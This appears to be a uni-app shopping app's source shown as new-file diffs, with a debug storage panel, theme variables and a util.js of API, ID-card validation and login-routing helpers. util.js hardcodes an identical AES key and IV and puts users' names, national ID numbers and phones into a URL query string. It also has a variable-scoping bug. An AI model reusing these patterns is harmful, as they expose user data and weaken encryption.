o=0;o<e.length;o++)e[o].name=a.htmlEncode(e[o].name),e[o].value=a.htmlEncode(e[o].value);t.innerHTML=l.default.render(i.default,{list:e},!0)}}},{key:"getCookieList",value:function(){if(!document.cookie||!navigator.cookieEnabled)return[];for(var e=[],t=document.cookie.split(";"),o=0;o<t.length;o++){var n=t[o].split("="),r=n.shift().replace(/^ /,""),i=n.join("=");try{r=decodeURIComponent(r),i=decodeURIComponent(i)}catch(e){console.log(e,r,i)}e.push({name:r,value:i})}return e}},{key:"getLocalStorageList",value:function(){if(!window.localStorage)return[];try{for(var e=[],t=0;t<localStorage.length;t++){var o=localStorage.key(t),n=localStorage.getItem(o);e.push({name:o,value:n})}return e}catch(e){return[]}}},{key:"getSessionStorageList",value:function(){if(!window.sessionStorage)return[];try{for(var e=[],t=0;t<sessionStorage.length;t++){var o=sessionStorage.key(t),n=sessionStorage.getItem(o);e.push({name:o,value:n})}return e}catch(e){return[]}}},{key:"clearCookieList",value:function(){if(document.cookie&&navigator.cookieEnabled){for(var e=window.location.hostname,t=this.getCookieList(),o=0;o<t.length;o++){var n=t[o].name;document.cookie="".concat(n,"=;expires=Thu, 01 Jan 1970 00:00:00 GMT"),document.cookie="".concat(n,"=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/"),document.cookie="".concat(n,"=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/;domain=.").concat(e.split(".").slice(-2).join("."))}this.renderStorage()}}},{key:"clearLocalStorageList",value:function(){if(window.localStorage)try{localStorage.clear(),this.renderStorage()}catch(e){alert("localStorage.clear() fail.")}}},{key:"clearSessionStorageList",value:function(){if(window.sessionStorage)try{sessionStorage.clear(),this.renderStorage()}catch(e){alert("sessionStorage.clear() fail.")}}}])&&d(o.prototype,c),s&&d(o,s),t}();o.default=p,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t){e.exports='<div class="vc-table">\n  <div class="vc-log"></div>\n</div>'},function(e,t){e.exports='<div>\n  <dl class="vc-table-row">\n    <dd class="vc-table-col">Name</dd>\n    <dd class="vc-table-col vc-table-col-2">Value</dd>\n  </dl>\n  {{for (var i = 0; i < list.length; i++)}}\n  <dl class="vc-table-row">\n    <dd class="vc-table-col">{{list[i].name}}</dd>\n    <dd class="vc-table-col vc-table-col-2">{{list[i].value}}</dd>\n  </dl>\n  {{/for}}\n</div>'}])});
uni.promisify.adaptor.js
New file
@@ -0,0 +1,13 @@
uni.addInterceptor({
  returnValue (res) {
    if (!(!!res && (typeof res === "object" || typeof res === "function") && typeof res.then === "function")) {
      return res;
    }
    return new Promise((resolve, reject) => {
      res.then((res) => {
        if (!res) return resolve(res)
        return res[0] ? reject(res[0]) : resolve(res[1])
      });
    });
  },
});
uni.scss
New file
@@ -0,0 +1,76 @@
/**
 * 这里是uni-app内置的常用样式变量
 *
 * uni-app 官方扩展插件及插件市场(https://ext.dcloud.net.cn)上很多三方插件均使用了这些样式变量
 * 如果你是插件开发者,建议你使用scss预处理,并在插件代码中直接使用这些变量(无需 import 这个文件),方便用户通过搭积木的方式开发整体风格一致的App
 *
 */
/**
 * 如果你是App开发者(插件使用者),你可以通过修改这些变量来定制自己的插件主题,实现自定义主题功能
 *
 * 如果你的项目同样使用了scss预处理,你也可以直接在你的 scss 代码中使用如下变量,同时无需 import 这个文件
 */
/* 颜色变量 */
/* 行为相关颜色 */
$uni-color-primary: #007aff;
$uni-color-success: #4cd964;
$uni-color-warning: #f0ad4e;
$uni-color-error: #dd524d;
/* 文字基本颜色 */
$uni-text-color:#333;//基本色
$uni-text-color-inverse:#fff;//反色
$uni-text-color-grey:#999;//辅助灰色,如加载更多的提示信息
$uni-text-color-placeholder: #808080;
$uni-text-color-disable:#c0c0c0;
/* 背景颜色 */
$uni-bg-color:#ffffff;
$uni-bg-color-grey:#f8f8f8;
$uni-bg-color-hover:#f1f1f1;//点击状态颜色
$uni-bg-color-mask:rgba(0, 0, 0, 0.4);//遮罩颜色
/* 边框颜色 */
$uni-border-color:#c8c7cc;
/* 尺寸变量 */
/* 文字尺寸 */
$uni-font-size-sm:12px;
$uni-font-size-base:14px;
$uni-font-size-lg:16px;
/* 图片尺寸 */
$uni-img-size-sm:20px;
$uni-img-size-base:26px;
$uni-img-size-lg:40px;
/* Border Radius */
$uni-border-radius-sm: 2px;
$uni-border-radius-base: 3px;
$uni-border-radius-lg: 6px;
$uni-border-radius-circle: 50%;
/* 水平间距 */
$uni-spacing-row-sm: 5px;
$uni-spacing-row-base: 10px;
$uni-spacing-row-lg: 15px;
/* 垂直间距 */
$uni-spacing-col-sm: 4px;
$uni-spacing-col-base: 8px;
$uni-spacing-col-lg: 12px;
/* 透明度 */
$uni-opacity-disabled: 0.3; // 组件禁用态的透明度
/* 文章场景相关 */
$uni-color-title: #2C405A; // 文章标题颜色
$uni-font-size-title:20px;
$uni-color-subtitle: #555555; // 二级标题颜色
$uni-font-size-subtitle:26px;
$uni-color-paragraph: #3F536E; // 文章段落颜色
$uni-font-size-paragraph:15px;
util.js
New file
@@ -0,0 +1,356 @@
import CryptoJS from './node_modules/crypto-js/crypto-js.js'
const baseUrl = 'https://tmy.xjzbh.com/api/'
const cryptKey = '2025Shop2025Shop'
const cryptIv  = '2025Shop2025Shop'
// 加密
const encryptDes = (data) => {
    // 将key解析为字节
    let aes_key = CryptoJS.enc.Utf8.parse(cryptKey);
    // 将iv解析为字节
    let new_iv = CryptoJS.enc.Utf8.parse(cryptIv);
    // AES加密 CBC模式 ZeroPadding
    let encrypted = CryptoJS.AES.encrypt(data, aes_key, {
        iv: new_iv,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7
    });
    // 返回字符串
    return encrypted.toString();
}
//解密
const decryptDes = (data) => {
    let aes_key = CryptoJS.enc.Utf8.parse(cryptKey);
    let aes_iv = CryptoJS.enc.Utf8.parse(cryptIv);
    // 将数据编码成Base64格式
    let baseResult = CryptoJS.enc.Base64.parse(data);
    let ciphertext = CryptoJS.enc.Base64.stringify(baseResult);
    // AES解密 CBC模式 ZeroPadding
    let decryptResult = CryptoJS.AES.decrypt(ciphertext, aes_key, {
        iv: aes_iv,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7
    });
    // 返回字符串
    let resData = decryptResult.toString(CryptoJS.enc.Utf8).toString();
    return resData;
}
const getHeader = () => {
    let token = uni.getStorageSync('lzsc-token')
    let header = {
        'Accept': 'application/json',
        'Content-type': 'application/json',
        'authorization': token,
    }
    let platform = null
    // #ifdef H5
    platform = 'h5'
    // #endif
    // #ifdef APP-PLUS
    platform = uni.getSystemInfoSync().platform
    // #endif
    header.platform = platform
    return header
}
const post = (url = '', params = null) => {
    let header = getHeader()
    let data = encryptDes(JSON.stringify(params))
    //console.log('postUrl', baseUrl + url)
    return new Promise((resolve, reject) => {
        uni.showLoading({
            title: '加载中'
        })
        uni.request({
            method: 'POST',
            url: baseUrl + url,
            data: {data: data},
            header: header,
            dataType: 'json',
        }).then((response) => {
            //console.log('response', response)
            uni.hideLoading()
            let respon = {
                code: response.data.code,
                data: response.data.data.length > 0 ? JSON.parse(decryptDes(response.data.data)) : [],
                msg: response.data.msg
            }
            resolve(respon)
        }).catch(error => {
            uni.hideLoading()
            //let [err, res] = error
            //console.log('error', error)
        })
    })
}
const sendMsg = (url = '', params = null) => {
    let header = getHeader()
    let data = encryptDes(JSON.stringify(params))
    return new Promise((resolve, reject) => {
        uni.request({
            method: 'POST',
            url: baseUrl + url,
            data: {data: data},
            header: header,
            dataType: 'json',
        }).then((response) => {
            let respon = {
                code: response.data.code,
                data: response.data.data.length > 0 ? JSON.parse(decryptDes(response.data.data)) : [],
                msg: response.data.msg
            }
            resolve(respon)
        }).catch(error => {
            uni.hideLoading()
            //let [err, res] = error
            //console.log('error', error)
        })
    })
}
const goPages = (url) => {
    uni.navigateTo({
        url: url
    })
}
const goBack = () => {
    uni.navigateBack()
}
//身份证号严格校验
const identityIDCard = (code) => {
    //身份证号前两位代表区域
    var city = {
        11: "北京",
        12: "天津",
        13: "河北",
        14: "山西",
        15: "内蒙古",
        21: "辽宁",
        22: "吉林",
        23: "黑龙江 ",
        31: "上海",
        32: "江苏",
        33: "浙江",
        34: "安徽",
        35: "福建",
        36: "江西",
        37: "山东",
        41: "河南",
        42: "湖北 ",
        43: "湖南",
        44: "广东",
        45: "广西",
        46: "海南",
        50: "重庆",
        51: "四川",
        52: "贵州",
        53: "云南",
        54: "西藏 ",
        61: "陕西",
        62: "甘肃",
        63: "青海",
        64: "宁夏",
        65: "新疆",
        71: "台湾",
        81: "香港",
        82: "澳门",
        91: "国外 "
    };
    //身份证格式正则表达式
    var idCardReg = /^[1-9]\d{5}(18|19|([23]\d))\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$/;
    var errorMsg = ""; //错误提示信息
    var isPass = true; //身份证验证是否通过(true通过、false未通过)
    //如果身份证不满足格式正则表达式
    if (!idCardReg.test(code)) {
        errorMsg = "身份证格式有误!";
        isPass = false;
    }
    //区域数组中不包含需验证的身份证前两位
    else if (!city[code.substr(0, 2)]) {
        errorMsg = "身份证地址编码有误!";
        isPass = false;
    } else {
        //18位身份证需要验证最后一位校验位
        if (code.length == 18) {
            code = code.split('');
            //∑(ai×Wi)(mod 11)
            //加权因子
            var factor = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2];
            //校验位
            var parity = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2];
            var sum = 0;
            var ai = 0;
            var wi = 0;
            for (var i = 0; i < 17; i++) {
                ai = code[i];
                wi = factor[i];
                sum += ai * wi;
            }
            var last = parity[sum % 11];
            if (parity[sum % 11] != code[17]) {
                errorMsg = "身份证号不存在!";
                isPass = false;
            }
        }
    }
    var returnParam = {
        'errorMsg': errorMsg,
        'isPass': isPass
    }
    return returnParam;
}
const checkLogin = (url = '', burl = '') => {
    let token = uni.getStorageSync('lzsc-token') ? uni.getStorageSync('lzsc-token') : null
    if(token == null){
        uni.showModal({
            title: '温馨提示',
            content: '请您先登录账号!',
            success: function (res) {
                if (res.confirm) {
                    let goUrl = ''
                    if(burl != ''){
                        goUrl = '/pages/login/login?backUrl=' + burl
                    } else{
                        goUrl = '/pages/login/login'
                    }
                    uni.navigateTo({
                        url: goUrl
                    })
                }
            }
        })
        return false
    }else if(url != ''){
        uni.navigateTo({
            url: url
        })
    }
    return true
}
const checkGoPages = (url = '', burl = '', isgo = 1) => {
    let token = uni.getStorageSync('lzsc-token') ? uni.getStorageSync('lzsc-token') : null
    console.log('token', token)
    if(token == null){
        uni.showModal({
            title: '温馨提示',
            content: '请您先登录账号!',
            success: function (res) {
                if (res.confirm) {
                    let goUrl = ''
                    if(burl != ''){
                        goUrl = '/pages/login/login?backUrl=' + burl
                    } else{
                        goUrl = '/pages/login/login'
                    }
                    uni.navigateTo({
                        url: goUrl
                    })
                }
            }
        })
        return false
    } else {
        let userInfo = getUserInfo()
        let goUrl = ''
        if(userInfo.idcard_auth == 0){
            goUrl = '/pages/idcard/idcard'
        } else if(userInfo.face_auth == 0){
            goUrl = '/pages/face/face'
        } else if(userInfo.job_auth == 0){
            goUrl = '/pages/job/job'
        } else if(userInfo.bank_auth == 0){
            goUrl = '/pages/addBank/addBank?backUrl=/pages/face/face'
        }
        console.log('goUrl', goUrl)
        if(goUrl != ''){
            uni.showModal({
                title: '温馨提示',
                content: '根据国家法律法规规定,使用本服务需要完成实名认证,是否前往认证?',
                success: function (res) {
                    if (res.confirm) {
                        uni.navigateTo({
                            url: goUrl
                        })
                    }
                }
            })
            return false
        }
        if(url != '' && isgo == 1){
            uni.navigateTo({
                url: url
            })
        } else {
            return true
        }
    }
}
const goSwitch = (url) => {
    uni.switchTab({
        url: url
    })
}
const getUserInfo = () => {
    let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
    if(userStr != null) {
        userStr = JSON.parse(userStr)
    }
    return userStr
}
const goSetting = () => {
    var Intent = plus.android.importClass("android.content.Intent")
    var Uri = plus.android.importClass("android.net.Uri")
    var Settings = plus.android.importClass("android.provider.Settings")
    var activity = plus.android.runtimeMainActivity()
    var intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS)
    var uri = Uri.fromParts("package", activity.getPackageName(), null)
    intent.setData(uri)
    activity.startActivity(intent)
}
const goAgree = (t) => {
    let userInfo = null
    let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
    if(userStr != null) {
        userInfo = JSON.parse(userStr)
    }
    console.log(userInfo)
    // #ifdef APP-PLUS
    let url = ''
    if(userInfo != null && userInfo.realname != null && userInfo.idcard != null && userInfo.phone != null){
        let url = this.$baseUrl + '/?gp=' + t + '&name=' + userInfo.realname + '&idcard=' + userInfo.idcard + '&phone=' + userInfo.phone
    } else {
        let url = this.$baseUrl + '/?gp=' + t
    }
    console.log(url)
    plus.runtime.openURL(url)
    // #endif
}
export default {
    goBack: goBack,
    post: post,
    goPages: goPages,
    decryptDes: decryptDes,
    identityIDCard: identityIDCard,
    checkGoPages: checkGoPages,
    goSwitch: goSwitch,
    getUserInfo: getUserInfo,
    goSetting: goSetting,
    goAgree: goAgree,
    checkLogin: checkLogin,
    sendMsg: sendMsg,
}